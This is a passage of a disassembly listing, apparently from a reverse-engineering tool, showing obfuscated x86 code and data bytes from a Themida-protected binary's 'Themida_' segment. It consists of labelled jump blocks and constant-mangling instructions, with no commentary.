		dd 0FF4445E9h, 0EF815FFFh, 77CD1C3Bh, 0B5E0E959h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56559E:				; CODE XREF: Themida_:0055201Dj
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		jmp	loc_56334C
; ---------------------------------------------------------------------------
		db 81h
		dd 4EEh, 24348700h, 242C895Ch, 0C581E589h, 4, 0FF0B4AE9h
		dd 0FC8850FFh, 0E2885253h, 88D48850h, 0E95A58E3h, 0FFFF97CEh
; ---------------------------------------------------------------------------


loc_5655DC:				; CODE XREF: Themida_:0055C975j
		mov	esi, 702F0B31h
		jmp	loc_5533B7
; ---------------------------------------------------------------------------


loc_5655E6:				; CODE XREF: Themida_:00562F58j
		push	edi
		jmp	loc_55CC56
; ---------------------------------------------------------------------------


loc_5655EC:				; CODE XREF: Themida_:00562D50j
		pop	ecx
		add	esp, 4
		push	ebx
		mov	bh, 79h
		jmp	loc_566971
; ---------------------------------------------------------------------------
		dd 0A605F181h, 0C28118ABh, 0C656D56h, 0EA81CA01h, 0C656D56h
		dd 1C9E9h, 148B6600h, 0CD95E924h, 0CE88FFFEh, 0E6D05966h
		dd 7CEE80h, 0E9515AF7h,	0FFFF89EDh, 46855h, 0E95D0000h
		dd 0FFFFDF32h, 24148B66h, 0C96E9h, 8BE80100h, 0EDE9242Ch
		dd 8BFFFF46h, 0C481242Ch, 4, 5394C381h,	0EBC15B51h, 0F7F8E902h
		dd 0DEF7FFFEh, 8437EE81h, 72E9B337h, 83FFFF8Dh,	6FE904C4h
		db 0E8h, 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_565677:				; CODE XREF: Themida_:0055816Cj
		mov	ebx, [esp]
		push	ecx
		mov	ecx, esp
		push	ebp
		push	eax
		jmp	loc_562E8C
; ---------------------------------------------------------------------------
		dd 426CC1BEh, 0E9554648h, 0FFFF766Ch, 0BA8C581h, 895E77FFh
		dd 0EEC15DEEh, 0DD8E902h, 68B8FFFFh, 1A57F51h, 565358C5h
		dd 0FEC739E9h, 2434FFFFh, 5A54525Bh, 4C281h, 98E90000h
		dd 57FFFEEFh, 0FB6ABBBFh, 0AF44E968h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5656CE:				; CODE XREF: Themida_:00565916j
		mov	eax, ebp
		pop	ebp
		pop	esi
		or	eax, 16BF19F2h
		sub	eax, 36FF5BF3h
		sub	edx, 68075CB6h
		jmp	loc_5650C5
; ---------------------------------------------------------------------------


loc_5656E7:				; CODE XREF: Themida_:0055307Ej
		pop	esp
		push	edx
		mov	edx, esp
		add	edx, 4
		jmp	loc_55F5EF
; ---------------------------------------------------------------------------
		dw 0E0BDh
		dd 0E91510F7h, 0FFFF830Fh, 2D08E0C1h, 8C6EEDFCh, 0E2E9C701h
		dd 0FF000003h, 34FF1C77h, 24048B24h, 833EE956h,	8159FFFFh
		dd 4C3h, 74FF5300h, 8F5B0424h, 3AE92404h, 2DFFFFE1h, 388B67ACh
		dd 0F342D2Dh, 4EC8169h,	89000000h, 0ACBF243Ch, 0E9287415h
		dd 0FFFF8B8Eh
; ---------------------------------------------------------------------------


loc_565750:				; CODE XREF: Themida_:0055C3CEj
		pop	edx
		push	eax
		mov	eax, 5F0F48A8h
		add	eax, 1
		push	edx
		push	7E5B6205h
		pop	edx
		sub	eax, edx
		push	dword ptr [esp]
		pop	edx
		jmp	loc_565E06
; ---------------------------------------------------------------------------
		dw 0B252h
		dd 1C280DFh, 0E2C0C2FEh, 8E2C008h, 0FF9072E9h, 24248BFFh
		dd 31241433h, 14332414h, 24248B24h, 2424D366h, 0BF54E99Ch
		db 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_56579A:				; CODE XREF: Themida_:00557A98j
		push	edx
		mov	edx, 0CBA6AC3h
		jmp	loc_55982E
; ---------------------------------------------------------------------------
		db 83h,	0C4h, 4
		dd 5BFDBB53h, 0BA524F68h, 6DBE198Dh, 5E3AF281h,	0BDE972FDh
		dd 8100000Bh, 59630AEEh, 0F7DEF776h, 0B3F681D6h, 0E966FC0Ah
		dd 0FFFF8D63h, 937FE957h, 8159FFFFh, 4EAh, 24148700h, 29FCE95Ch
		dd 8951FFFFh, 0A7FEE9E1h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5657F2:				; CODE XREF: Themida_:0055B324j
		mov	ch, ah
		sub	esp, 4
		mov	[esp], ebx
		mov	bl, ch
		jmp	loc_55A63F
; ---------------------------------------------------------------------------
		dd 0CE81D6F7h, 74B161CCh, 1618C681h, 0F2010A42h, 0EEEBE95Eh
		dd 1C87FFFFh, 4895C24h,	0C5E95524h
		db 0F0h, 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_565827:				; CODE XREF: Themida_:0055958Ej
		pop	ebx
		add	edx, 4
		xor	edx, [esp]
		jmp	loc_565F05
; ---------------------------------------------------------------------------


loc_565833:				; CODE XREF: Themida_:00557FC0j
		sub	esp, 4
		mov	[esp], ebx
		push	6948h
		mov	[esp], esp
		jmp	loc_56693E
; ---------------------------------------------------------------------------
		dw 0F681h
		dd 2043156Bh, 652EC681h, 0E94C04h, 81FFFFA1h, 4C4h, 5BFE2800h
		dd 0F028552Ch, 0BBA6852h, 0C8E90000h
		db 0EBh, 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_56586F:				; CODE XREF: Themida_:0055F2D3j
		dec	ecx
		xor	ecx, 8D9EFF4Ch
		mov	ebx, ecx
		pop	ecx
		shr	ebx, 7
		sub	ebx, 0B5DB7616h
		sub	ebx, 0E08CE436h
		push	ecx
		mov	ecx, ebx
		mov	edx, ecx
		pop	ecx
		push	dword ptr [esp]
		pop	ebx
		jmp	loc_5662F3
; ---------------------------------------------------------------------------
		db 8Bh
		dd 0C4832404h, 0E9545204h, 0FFFFF8F3h
; ---------------------------------------------------------------------------


loc_5658A4:				; CODE XREF: Themida_:00553D31j
		add	esp, 4
		jmp	loc_563716
; ---------------------------------------------------------------------------


loc_5658AF:				; CODE XREF: Themida_:00566275j
		pop	esi
		xchg	ebx, [esp]
		mov	esp, [esp]
		push	45BDh
		mov	[esp], edx
		push	4
		jmp	loc_562821
; ---------------------------------------------------------------------------
		dd 8105E1C1h, 2588C4F1h, 0FFC801D0h, 81592434h,	4C4h, 0E3895300h
		dd 4C381h, 0EB810000h, 4, 0E9241C87h, 0FFFF8D75h, 5106EDC1h
		dd 9A4FC1B9h, 0E981417Ah, 6AE3F5B9h, 0FF540BE9h, 0E9028FFFh
		dd 0FFFEBDDEh
; ---------------------------------------------------------------------------


loc_565910:				; CODE XREF: Themida_:00561643j
		xor	ebp, 50DB673Dh
		jmp	loc_5656CE
; ---------------------------------------------------------------------------
		db 81h
		dd 0C104CC1h, 13C18123h, 814EBE00h, 9A0687E9h, 3FE98154h
		dd 0E91E2701h, 0FFFEF7F8h
; ---------------------------------------------------------------------------


loc_565938:				; CODE XREF: Themida_:00566774j
		pop	ecx
		jmp	loc_5653EE
; ---------------------------------------------------------------------------
		dw 5157h
		dd 0D9655AB9h, 59CF894Dh, 0C15FF809h, 0DB2D04E8h, 5272F84Ch
		dd 354312BAh, 0E5E95661h, 8FFFFFA0h, 3CE92404h
		db 0F0h, 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_565967:				; CODE XREF: Themida_:00561934j
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	edx
		push	ebp
		mov	ebp, 2EAB69C6h
		dec	ebp
		sub	ebp, 1
		sub	ebp, 2EAB69C0h
		add	edx, ebp
		pop	ebp
		add	edx, 4
		push	edx
		push	dword ptr [esp+4]
		jmp	loc_551FF8
; ---------------------------------------------------------------------------
		db 5Eh
		dd 31241433h, 14332414h, 14895C24h, 1C176824h, 24890000h
		dd 24048124h, 4, 5A2434FFh, 8104C483h, 4C2h, 4EC8300h
		dd 0B8240489h, 74FD7CA0h, 0FFE19DE9h, 2FD3BEFFh, 0E6815F95h
		dd 4B700363h, 0FEC6C0E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5659D9:				; CODE XREF: Themida_:0055F6F8j
		pop	eax
		sub	edi, ecx
		jmp	loc_557589
; ---------------------------------------------------------------------------


loc_5659E1:				; CODE XREF: Themida_:005580D3j
		pop	edx
		add	esp, 4
		sub	edx, 168B2199h
		add	edx, 2DEF4E0Ch
		sub	edx, esi
		sub	edx, 2DEF4E0Ch
		sub	esp, 4
		mov	[esp], edi
		push	edx
		push	0A3B66F1h
		pop	edx
		push	edi
		jmp	loc_55C451
; ---------------------------------------------------------------------------


loc_565A12:				; CODE XREF: Themida_:00552C00j
		sub	edi, 67C877B3h
		xor	edi, 41EF7DC5h
		jmp	loc_553355
; ---------------------------------------------------------------------------
		db 54h
		dd 0E9241C8Bh, 598h
; ---------------------------------------------------------------------------


loc_565A2C:				; CODE XREF: Themida_:005591ADj
		mov	ebx, [esp]
		add	esp, 4
		add	ecx, edx
		push	dword ptr [esp]
		jmp	loc_56016A
; ---------------------------------------------------------------------------
		db 87h
		dd 895C241Ch, 0E4B3241Ch, 505BD830h, 0FF154DE9h, 4C483FFh
		dd 0E95BDF01h, 0FFFF87E0h, 4C481h, 0C4830000h, 28BF0404h
		dd 59BF2CC8h, 0F406E950h, 0FF5AFFFFh, 0D4E92434h, 66FFFF71h
		dd 48B6658h, 514EE924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_565A86:				; CODE XREF: Themida_:0055FB56j
		sub	esp, 4
		mov	[esp], edx
		jmp	loc_551E45
; ---------------------------------------------------------------------------
		dd 240C8B66h, 68E668h, 243C8900h, 3AE9E789h
		db 96h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_565AA7:				; CODE XREF: Themida_:0055C1BCj
		xor	edx, ecx
		mov	ecx, [esp]
		jmp	loc_558E0F
; ---------------------------------------------------------------------------


loc_565AB1:				; CODE XREF: Themida_:0055CBDFj
		xor	ebp, 4A277D84h
		shl	ebp, 2
		add	ebp, 0EE93219h
		xor	ebp, 0C408DD1Bh
		or	ebp, 72AC5CBCh
		push	ebp
		not	dword ptr [esp]
		pop	ebp
		shr	ebp, 4
		shl	ebp, 7
		jmp	loc_566308
; ---------------------------------------------------------------------------
		dd 2C2FE953h, 0E089FFFFh, 405h,	4C08300h, 0FF2EBFE9h, 0CF6858FFh
		dd 89000057h, 2B9240Ch,	1000000h, 0D559E9CFh, 0BB53FFFEh
		dd 65EC1CDFh, 0EBC1DBF7h, 0CC11E902h, 0F752FFFEh, 815A2414h
		dd 0FB7F6BE2h, 0C3C2813Eh, 81F90EFEh, 1068D9EEh, 0E9D60136h
		dd 0FFFF54D3h
; ---------------------------------------------------------------------------


loc_565B34:				; CODE XREF: Themida_:00562295j
		mov	ecx, 7DD218FFh
		add	ecx, 7AD8278Dh
		and	ecx, 67AE3B35h
		shl	ecx, 4
		jmp	loc_558D76
; ---------------------------------------------------------------------------
		db 81h,	0C4h, 4
		dd 83000000h, 1C8904ECh, 1C8B5424h, 4C48124h, 51000000h
		dd 0FF1DF0E9h, 239B68FFh, 4890000h, 5FF96824h, 0E9583DC9h
		dd 0FFFF96CEh, 0F56DE954h
		db 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_565B82:				; CODE XREF: Themida_:0055C993j
		push	esi
		push	esp
		pop	esi
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		shr	edx, 8
		sub	edx, 14660BF7h
		xor	edx, 24D110FFh
		push	esi
		mov	esi, 20727562h
		jmp	loc_557492
; ---------------------------------------------------------------------------


loc_565BAC:				; CODE XREF: Themida_:00561BF7j
		add	ebp, ebx
		jmp	loc_552EBB
; ---------------------------------------------------------------------------
		db 31h
		dd 0F1015AD6h, 9118E95Eh, 0C581FFFFh, 4, 4C581h, 2C330000h
		dd 242C3124h, 5C242C33h, 283BC380h, 3BEB80C3h, 8FD68h
		dd 24048900h, 0E5668h, 240C8900h, 0FF7CAFE9h, 5FFA89FFh
		dd 0FD0E951h, 0C781FFFFh, 4, 4EF81h, 3C870000h,	3C895C24h
		dd 2474FF24h, 2434FF04h, 0FF23F9E9h, 14335DFFh,	24143124h
		dd 8B241433h, 4892424h,	0BAC0E924h, 555FFFFEh, 0EF89DD89h
		dd 0F8015B5Dh, 2434FF5Fh, 0FF0B0FE9h, 685253FFh, 61D7A49h
		dd 1AF2815Ah, 81514C46h, 33BCEBEAh, 5AD38957h, 5E9DE01h
		db 3, 2	dup(0FFh)
; ---------------------------------------------------------------------------


loc_565C5F:				; CODE XREF: Themida_:00552B6Bj
		pop	eax
		sub	ch, dl
		sub	ch, 17h
		jmp	loc_554CB4
; ---------------------------------------------------------------------------
		dw 0C483h
		dd 240C8B04h, 0FEE1ACE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_565C75:				; CODE XREF: Themida_:00557B49j
		add	ecx, 0CAF78DC3h
		push	2AE7h
		mov	[esp], ecx
		pop	esi
		mov	ecx, [esp]
		add	esp, 4
		and	eax, esi
		push	dword ptr [esp]
		mov	esi, [esp]
		add	esp, 4
		add	esp, 4
		or	edx, eax
		shl	edx, 1
		jmp	loc_562CD4
; ---------------------------------------------------------------------------
		db 29h
		dd 0C5815AD5h, 6854D89Ch, 815DEF21h, 0C92A49EFh, 54BB5352h
		dd 8186BF63h, 0A71215EFh, 81DF296Eh, 0A71215C7h, 71BBE96Eh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_565CD2:				; CODE XREF: Themida_:0055D595j
		mov	ecx, [esp]
		add	esp, 4
		sub	ebx, 4
		xor	ebx, [esp]
		xor	[esp], ebx
		xor	ebx, [esp]
		jmp	loc_55C537
; ---------------------------------------------------------------------------
		dd 1018ED81h, 0DDF7778Dh, 5884BE56h, 1BE9138Dh,	0BE00000Eh
		dd 38AD0C3Ah, 8247429h,	2444295Eh, 24448104h, 0AD0C3A04h
		dd 255DE938h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_565D1A:				; CODE XREF: Themida_:00552A4Dj
		xor	edi, [esp]
		jmp	loc_56175D
; ---------------------------------------------------------------------------
		dw 8F5Fh
		dd 248B2404h, 6CE95724h, 5EFFFEF7h, 4C681h, 0EE830000h
		dd 24348704h, 2434895Ch, 42474FFh, 24048F5Eh, 6624248Bh
		dd 5724048Bh, 75685F54h, 89000036h, 8ABE2434h, 812E9871h
		dd 678E7AC6h, 5EF701D1h, 2BD55h, 0BD550000h, 36C74850h
		dd 65E9EF29h, 5FFFFEBEh, 81242C8Bh, 4ECh, 24148900h, 0C281E289h
		dd 4, 5204C283h, 42474FFh, 24048F5Ah, 0FFE2A9E9h, 240481FFh
		dd 4, 459D685Bh, 0C890000h, 4FF26824h, 2C890000h, 59596824h
		dd 2C8B7B6Fh, 0F259E924h, 0BB53FFFEh, 72086931h, 6CFCB81h
		dd 0C38132EAh, 18666CABh, 0FF8425E9h, 5EAC1FFh,	0FFDB7AE9h
		dd 0FFFFBFFFh, 0FE29FFFFh, 3E6C15Fh, 5044C681h,	0F70128E6h
		dd 0FF6F76E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_565DFD:				; CODE XREF: Themida_:005663B0j
		xchg	esi, [esp]
		pop	esp
		jmp	loc_55A7B1
; ---------------------------------------------------------------------------


loc_565E06:				; CODE XREF: Themida_:00565769j
		push	esi
		mov	esi, esp
		push	edx
		mov	edx, 446F7372h
		jmp	loc_562AA6
; ---------------------------------------------------------------------------


loc_565E14:				; CODE XREF: Themida_:00555F6Fj
		pop	esi
		sub	ebx, edi
		jmp	loc_5651A5
; ---------------------------------------------------------------------------
		dd 89240489h, 405E0h, 0B9510000h, 4, 8759C829h,	248B2404h
		dd 24348924h, 268h, 24348B00h, 4C481h, 0E9520000h, 0FFFEF259h
; ---------------------------------------------------------------------------


loc_565E4C:				; CODE XREF: Themida_:005601DDj
		xor	bl, 2Fh
		sub	ah, bl
		jmp	loc_55271C
; ---------------------------------------------------------------------------


loc_565E56:				; CODE XREF: Themida_:00563614j
		push	ebp
		mov	ebp, 54AF70AEh
		dec	ebp
		xor	ebp, 41365171h
		neg	ebp
		and	ebp, 304E1B08h
		neg	ebp
		xor	ebp, 0C547AB61h
		jmp	loc_5602F6
; ---------------------------------------------------------------------------


loc_565E78:				; CODE XREF: Themida_:0055CDF3j
		add	ebp, 4
		push	ecx
		mov	ecx, 4
		jmp	loc_553555
; ---------------------------------------------------------------------------


loc_565E89:				; CODE XREF: Themida_:00553EE1j
		mov	ecx, 35105BEEh
		jmp	loc_5523CD
; ---------------------------------------------------------------------------
		db 5Bh
		dd 0EFE9CE89h
		db 9Fh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_565E9B:				; CODE XREF: Themida_:00556074j
		mov	eax, 83F607Ah
		jmp	loc_554AF4
; ---------------------------------------------------------------------------
		db 5Fh,	81h, 0EFh
		dd 7FED578Bh, 0EDE9FB01h, 81FFFEE4h, 0ED5B87F1h, 0EC815524h
		dd 4, 0FFB97CE9h, 5EF331FFh, 0FEC192E9h, 286859FFh, 89000077h
		dd 0E789243Ch, 4C781h, 0C7810000h, 4, 5C243C87h, 4EECBE56h
		dd 0E6C1718Eh, 2E6C102h, 6D4EBF57h, 0FE316A7Dh,	5EEC15Fh
		dd 0FED443E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_565F05:				; CODE XREF: Themida_:0056582Ej
		xor	[esp], edx
		xor	edx, [esp]
		pop	esp
		and	eax, ecx
		jmp	loc_56377B
; ---------------------------------------------------------------------------
		db 5Ch
		dd 0BF243C89h, 664F6F91h, 121EBE56h, 0E68128ADh, 2AFC22B8h
		dd 0FF8302E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_565F2D:				; CODE XREF: Themida_:00555359j
		add	ebx, 29493308h
		xor	ebx, 0FBFAB69Ch
		jmp	loc_558543
; ---------------------------------------------------------------------------
		dw 8B54h
		dd 0C4832434h, 4C68104h, 83000000h, 348704C6h, 0B3E6E924h
		dd 3C87FFFFh, 0A3E95C24h, 1FFFFC0h, 77A2E9CFh, 0B951FFFFh
		dd 4, 8759C801h, 2D5C2404h, 12B86A3Ch, 66FBBF57h, 0F78146C2h
		dd 3438565Dh, 7D79F781h, 0C14F1DDDh, 0E7C104E7h, 94F78106h
		dd 0E9DC4B30h, 0FFFEED11h, 8EDC15Ah, 0FE7FB850h, 0C5010098h
		dd 0FED1F6E9h, 61EA81FFh, 214B441Dh, 81435AD3h,	680DC3F3h
		dd 0E9DA092Fh, 0FFFECE9Dh, 8304C483h, 148904ECh, 16E95524h
		db 0EBh, 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_565FD3:				; CODE XREF: Themida_:00559FC7j
		push	ebx
		mov	ebx, 496FFFFCh
		sub	edi, ebx
		pop	ebx
		sub	ecx, 601559C4h
		add	ecx, edi
		jmp	loc_564F3B
; ---------------------------------------------------------------------------


loc_565FE9:				; CODE XREF: Themida_:005647EFj
		add	edi, 2E465083h
		pop	edx
		jmp	loc_566432
; ---------------------------------------------------------------------------
		db 4Ah,	0E9h, 0C7h
		db 0D6h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_565FFB:				; CODE XREF: Themida_:00554B9Cj
		pop	eax
		pop	ecx


loc_565FFD:				; CODE XREF: Themida_:0055C9A9j
		push	4E3Eh
		mov	[esp], ecx
		jmp	loc_55343C
; ---------------------------------------------------------------------------
		dw 0C481h
		dd 4, 8B24048Fh, 4892424h, 0A71DE924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56601E:				; CODE XREF: Themida_:0055290Cj
		pop	ecx
		push	ebp
		mov	ebp, 4
		add	eax, ebp
		jmp	loc_5530D2
; ---------------------------------------------------------------------------
		dd 24148B58h, 2904C483h, 2434FFC3h, 0E1CDE958h,	0C483FFFFh
		dd 0BBDEE904h, 0FF56FFFEh, 685F2434h, 5F3Eh, 81241489h
		dd 4ECh, 24248900h, 4EC81h, 0C3E90000h,	56000004h, 457248BEh
		dd 68E6D14Ah, 131Ah, 0FF92E0E9h, 81E189FFh, 4C1h, 4E98100h
		dd 0E9000000h, 0FFFF8502h, 57A3EF81h, 0C8E9144Eh, 81FFFFFEh
		dd 4C7h, 4C78300h, 31243C33h, 3C33243Ch, 71685C24h, 89000036h
		dd 468241Ch, 0E9000000h, 0FFFFBE0Ch, 75CCE955h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5660C2:				; CODE XREF: Themida_:0055A5CAj
		push	0
		sub	[esp], edi
		jmp	loc_55D283
; ---------------------------------------------------------------------------
		db 57h
		dd 0FF038FE9h, 4C481FFh, 81000000h, 4C4h, 4C48100h, 81000000h
		dd 0FB3888EBh, 3AEB812Dh, 53C3ACF7h, 0C0240481h, 5F104D48h
		dd 48C0EF81h, 815B104Dh, 7811B0EFh, 83B85000h, 174ED1Bh
		dd 0DF2958C7h, 0FF6439E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_566119:				; CODE XREF: Themida_:0055AB74j
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		mov	esp, [esp]
		jmp	loc_551FF0
; ---------------------------------------------------------------------------
		db 5Ch
		dd 0B7241C89h, 0F6DFF63Fh, 0FC8850D7h, 54F65066h, 58660124h
		dd 0E958E788h, 0FFFF23EFh, 34FFEA89h, 0C4835D24h, 8BD00104h
		dd 0C4812414h, 4, 0FF7539E9h, 0C8B66FFh, 0EC835524h, 48F5404h
		dd 0C2EE924h, 0D25C0000h, 0E99C240Ch, 0FFFEB56Eh
; ---------------------------------------------------------------------------


loc_566180:				; CODE XREF: Themida_:00554703j
		mov	ecx, 2
		sub	edx, 38B85B67h
		sub	edx, 325656B4h
		add	edx, ecx
		push	eax
		jmp	loc_55F216
; ---------------------------------------------------------------------------


loc_566199:				; CODE XREF: Themida_:00563940j
		mov	[esp], ebx
		mov	ebx, 0
		jmp	loc_565205
; ---------------------------------------------------------------------------
		dw 0E281h
		dd 51C25EC8h, 7C5AF281h, 0F281789Eh, 7559009Bh,	148BD029h
		dd 4C48124h, 29000000h,	0E2968F8h, 90E90000h
		db 66h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5661CF:				; CODE XREF: Themida_:00564A6Ej
		xchg	ebp, [esp]
		pop	esp
		xor	ebx, eax
		pop	dword ptr [eax]
		jmp	loc_5516EE
; ---------------------------------------------------------------------------
		dd 0EF81D701h, 19FE33A9h, 8124148Bh, 4C4h, 2C836800h, 34890000h
		dd 5CE2E924h, 3C8BFFFFh, 4C48324h, 0FF82A6E9h, 81E589FFh
		dd 4C5h, 4ED8100h, 87000000h, 0E95C242Ch, 0FFFF5D5Fh
; ---------------------------------------------------------------------------


loc_56621C:				; CODE XREF: Themida_:00555BB3j
		add	edi, 4
		push	edx
		jmp	loc_55846C
; ---------------------------------------------------------------------------


loc_566228:				; CODE XREF: Themida_:00553A01j
		add	edx, edi
		jmp	loc_5622EF
; ---------------------------------------------------------------------------
		db 59h
		dd 4C181h, 6EE90000h, 8BFFFF70h, 0C4812404h, 4,	0ABA6851h
		dd 0E9594393h, 0FFFF251Eh, 0E94FDFF7h, 0FFFF1798h, 54240489h
		dd 61D0E958h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_566262:				; CODE XREF: Themida_:0055BFF4j
		not	edx
		xor	edx, 12AE5203h
		add	ebx, edx
		pop	edx
		push	esi
		mov	esi, 4
		add	ebx, esi
		jmp	loc_5658AF
; ---------------------------------------------------------------------------
		dw 0EAC0h
		dd 71EA8004h, 2C5AD028h, 90C4E919h, 0E981FFFFh,	4, 5C240C87h
		dd 0B8240489h, 78DE23A0h, 0D57E3905h, 4797E933h, 0B850FFFFh
		dd 4, 0A0E9C101h
		db 92h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5662B3:				; CODE XREF: Themida_:00558C83j
		sub	esp, 4
		mov	[esp], esp
		jmp	loc_5635FB
; ---------------------------------------------------------------------------
		db 29h,	0DFh, 5Bh
		dd 0DBAB951h, 4E97CA1h
		db 18h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5662CF:				; CODE XREF: Themida_:0055A3A7j
		push	ecx
		pop	ebp
		pop	ecx
		jmp	loc_56314D
; ---------------------------------------------------------------------------
		db 81h
		dd 2C4h, 30F33000h, 0E9F330DEh,	0FFFF7F14h, 664EC581h
		dd 0D1E969CDh
		db 0CEh, 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_5662F3:				; CODE XREF: Themida_:00565892j
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		jmp	loc_55BFE8
; ---------------------------------------------------------------------------


loc_566308:				; CODE XREF: Themida_:00565AD7j
		xor	ebp, 18EB172Bh
		push	eax
		mov	eax, 7B226F9Bh
		xor	eax, 230321B4h
		shr	eax, 8
		or	eax, 2B264277h
		jmp	loc_559F66
; ---------------------------------------------------------------------------


loc_566326:				; CODE XREF: Themida_:005585E2j
		push	172C2098h
		pop	esi
		jmp	loc_560D87
; ---------------------------------------------------------------------------
		db 89h,	0CDh, 0E9h
		dd 0FFFF589Dh
; ---------------------------------------------------------------------------


loc_566338:				; CODE XREF: Themida_:0055B0E6j
		add	edi, eax
		jmp	loc_55CB7D
; ---------------------------------------------------------------------------


loc_56633F:				; CODE XREF: Themida_:00563C84j
		mov	edx, 5381200Eh
		neg	edx
		shr	edx, 7
		sub	edx, 158FDBBh
		add	ebp, edx
		pop	edx
		jmp	loc_562560
; ---------------------------------------------------------------------------


loc_566357:				; CODE XREF: Themida_:0055A311j
		or	edx, ebx
		pop	ebx
		push	ecx
		jmp	loc_55882C
; ---------------------------------------------------------------------------
		dd 0AD7EE940h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_566366:				; CODE XREF: Themida_:0055EE3Dj
		mov	[esp], esi
		push	ebx
		jmp	loc_556958
; ---------------------------------------------------------------------------
		db 89h
		dd 6DB9240Ch, 0E95F9B41h, 0FFFEB9FFh, 6EAC14Ah,	0EA81D2F7h
		dd 9332C2F3h, 0FF9757E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_56638D:				; CODE XREF: Themida_:00558FAEj
		pop	edi
		jmp	loc_55AC87
; ---------------------------------------------------------------------------
		db 5
		dd 1E42936h, 743DBF57h,	6AE97E42h
		db 0ECh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5663A3:				; CODE XREF: Themida_:0055AC89j
		pop	esi
		add	esi, 4
		add	esi, 4
		jmp	loc_565DFD
; ---------------------------------------------------------------------------
		db 5, 0, 0A6h
		dd 0C201A2D9h, 5724048Bh, 0C781E789h, 4, 8704C783h, 685C243Ch
		dd 6426h, 0BF243C89h, 4, 3C8BFA29h, 25EFE924h, 8B66FFFFh
		dd 68572404h, 5D4Eh, 81242489h,	42404h,	3C8B0000h, 4C48124h
		dd 53000000h, 0A16266BBh, 0CCE38159h, 81325962h, 4B3AC5EBh
		dd 5DE3812Ah, 8140E935h, 5FDAA7C3h, 5BDF01BFh, 4EC81h
		dd 34890000h, 7672E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_566432:				; CODE XREF: Themida_:00565FF0j
		push	esi
		push	381574ECh
		pop	esi
		shl	esi, 1
		jmp	loc_559041
; ---------------------------------------------------------------------------
aVhm		db 'Vhm|',0
		align 2
		dw 1489h
		dd 1B98BA24h, 0DAF76027h, 68h, 24142900h, 1EA815Ah, 51000000h
		dd 558CBD55h, 0EDC13E77h, 0FE7AE904h, 77FFFFFFh, 59669D1Ch
		dd 2414D366h, 282CE99Ch, 0E94DFFFFh, 0FFFEF03Ah, 0E9E0C680h
		dd 0FFFFAFB9h
; ---------------------------------------------------------------------------


loc_56648C:				; CODE XREF: Themida_:00553B83j
		add	ebp, 0D4618Bh
		jmp	loc_561C6E
; ---------------------------------------------------------------------------
		db 8Bh
		dd 0C481241Ch, 4, 4BF57h, 0FE010000h, 3FE5685Fh, 25E90000h
		dd 81FFFF85h, 330ED6EFh, 4FD7F77Bh, 0FF0126E9h,	2434FFFFh
		dd 38666858h, 0D7E90000h, 81FFFF25h, 4C6h, 4C68100h, 0E9000000h
		dd 0BDh, 0FABD555Fh, 2917FF5Ch,	5D08246Ch, 4246C01h, 0FF5E61E9h
		dd 4C781FFh, 33000000h,	16E9243Ch, 81FFFF2Ah, 0B603A2E3h
		dd 81DBF76Fh, 900302C3h, 5BDF8923h, 0FFBD00E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_566519:				; CODE XREF: Themida_:0055AC04j
		add	ebx, 5164457Eh
		mov	edi, [esp]
		add	esp, 4
		jmp	loc_55314E
; ---------------------------------------------------------------------------
		dw 1489h
		dd 4BA24h, 54010000h, 0CCE90424h, 89FFFEC2h, 405E0h, 0E9510000h
		dd 0FFFEC58Ch, 3DB40D5Ch, 0E0C148A0h, 0EABD5505h, 8146863Ch
		dd 5D7B8DF5h, 8A6AE98Eh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_566562:				; CODE XREF: Themida_:00562B59j
		xchg	ecx, [esp]
		pop	esp


loc_566566:				; CODE XREF: Themida_:00561758j
		push	ebx
		jmp	loc_5622E3
; ---------------------------------------------------------------------------
		dd 0E4C01CB4h, 29EC8003h, 38DE9h
		db 0
; ---------------------------------------------------------------------------


loc_566579:				; CODE XREF: Themida_:00557E78j
		sub	dl, 16h
		shr	dl, 2
		add	dl, 5Fh
		add	cl, dl
		pop	edx
		add	cl, 0EDh
		and	cl, 81h
		shl	cl, 6
		add	cl, 18h
		push	edx
		mov	dl, 6Ah
		dec	dl
		dec	dl
		jmp	loc_563236
; ---------------------------------------------------------------------------
		db 87h,	34h, 24h
